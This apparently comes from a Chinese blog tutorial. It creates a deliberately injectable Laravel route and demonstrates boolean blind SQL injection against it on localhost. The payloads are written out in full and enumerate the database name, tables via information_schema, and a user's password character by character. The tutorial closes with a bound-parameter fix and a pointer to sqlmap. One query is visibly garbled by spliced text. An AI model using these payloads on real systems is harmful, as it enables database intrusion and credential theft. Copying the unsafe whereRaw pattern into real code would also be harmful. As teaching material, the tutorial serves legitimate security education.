本篇文章給大家帶來了關于laravel的相關知識,其中主要介紹了怎樣通過造一個laravel漏洞來講解sql盲注原理,所謂的盲注就是在服務器沒有錯誤回顯的時候完成的注入攻擊,下面一起來看一下,希望對大家有幫助。
【相關推薦:laravel】
環境
composer?create-project?laravel/laravel?lar9?//?安裝laravel9 //?編輯.env??修改為DEBUG=false?配置數據庫 DEBUG=false DB_HOST=.... php?artisan?migrate php?artisan?serve?//?啟動 //?插入數據 insert?into?users(`name`,`email`,`password`)?values('xxh','4******qq.com','worldhello');
創建漏洞
//?routes/web.php Route::get('/',?function?()?{ ?$id?=?request()->id; ?$user?=?AppModelsUser::whereRaw('id?=?'.$id)->first(); ?return?$user->name????''; }); //?最后轉換的sql是:?select?*?from?users?where?id?=?$id
測試
http://127.0.0.1:8000/?id=1' //?500 http://127.0.0.1:8000/?id=1?and?1=2 //?select?*?from?users?where?id?=?1?and?1=2;?返回空 http://127.0.0.1:8000/?id=1?and?1=1? //?select?*?from?users?where?id?=?1?and?1=1?返回xxh
步驟
數據庫名
猜出數據名長度
url:?http://127.0.0.1:8000/?id=1?and?length(database())?=?1 select?*?from?users?where?id?=?1?and?length(database())?=?1 select?*?from?users?where?id?=?1?and?length(database())?=?2 //?一直循環下去
猜出數據庫名
從第一步?知道了數據庫名長度 `select?*?from?users?where?id?=?1?and?substr(database(),1,1)?=a`? `select?*?from?users?where?id?=?1?and?substr(database(),1,1)?=b`? //?一直循環下去?找到數據庫名的第一個做字符??然后找第二個字符??直到找完數據庫名的長度
最終: laravel_project
表名
以下的步驟和猜數據庫差不多,就簡說了。
information_schema
information_schema 是 mysql 自帶的,
數據庫名 表名 列類型 等都有記錄,猜表 字段明需要從這個數據庫來。
猜 laravel_project 的表數量
url:???http://127.0.0.1:8000/?id=1?and?(select?count(*)?from?information_schema.tables?where?table_schema?="laravel_project"?)?=?5 mysql>?select?count(*)?from?information_schema.tables?where?table_schema?="laravel_projeelect?count(column_name)?from?information_schema.columns?where?table_name=?’usersct"; +----------+ |?count(*)?| +----------+ |????????5?| +----------+
猜第一個表名的長度
與 [猜出數據名長度] 此不多。
猜第一個表名
url:???http://127.0.0.1:8000/?id=1?and?(?select?substr(table_name,1,1)?from?information_schema.tables?where?table_schema?="laravel_project"?limit?0,1)?=?'f' mysql>?select?substr(table_name,1,1)?from?information_schema.tables?where?table_schema?="laravel_project"?limit?0,1; +------------------------+ |?substr(table_name,1,1)?| +------------------------+ |?f??????????????????????| +------------------------+ //?得出第一個表的第一個字段是f??然后查第
最終得出第一個表名稱為: failed_jobs
猜字段
和猜表一模一樣的邏輯。
select?count(column_name)?from?information_schema.columns?where?table_name=?'failed_jobs';?//??fail_jobs字段總數
猜數據
數據這才是最重要的。
因為 failed_jobs 沒數據,所以我換成 users 來。
users 有個 password 字段。
mysql>?select?substr((select?password?from?users?limit?0,1),1,1); +----------------------------------------------------+ |?substr((select?password?from?users?limit?0,1),1,1)?| +----------------------------------------------------+ |?w??????????????????????????????????????????????????| +----------------------------------------------------+ 得出第一個是w,存起來,最后判斷? mysql>?select?substr((select?password?from?users?limit?0,1),1,2); +----------------------------------------------------+ |?substr((select?password?from?users?limit?0,1),1,2)?| +----------------------------------------------------+ |?wo?????????????????????????????????????????????????| +----------------------------------------------------+ 第二個值為o 用第一個值?+?第二個值作為盲注
……
防御
(有時候 where 不滿足需求,就需要 whereRaw)
如果需要,記得綁定就好。
Route::get('/',?function?()?{ ?$id?=?request()->id; ?$user?=?AppModelsUser::whereRaw('id?=??',[$id])->first(); ?return?$user->name????''; });
只要安份的用框架,不會會漏洞的。
那些老項目,漏洞滿地飛。
現在這個時代,找漏洞難登天。
Ps
上面為了講解簡單,用是最簡單的查找。
手工盲注應該用二分查找。
select?*?from?users?where?id?=?1?and??substr(database(),1,1)?='a'; 換成二分: ?select?*?from?users?where?id?=?1?and??ascii(substr(database(),1,1))?>?99;
最好還是直接借助工具 sqlmap, 直接掃出來。
【相關推薦:laravel】
? 版權聲明
文章版權歸作者所有,未經允許請勿轉載。
THE END
喜歡就支持一下吧
相關推薦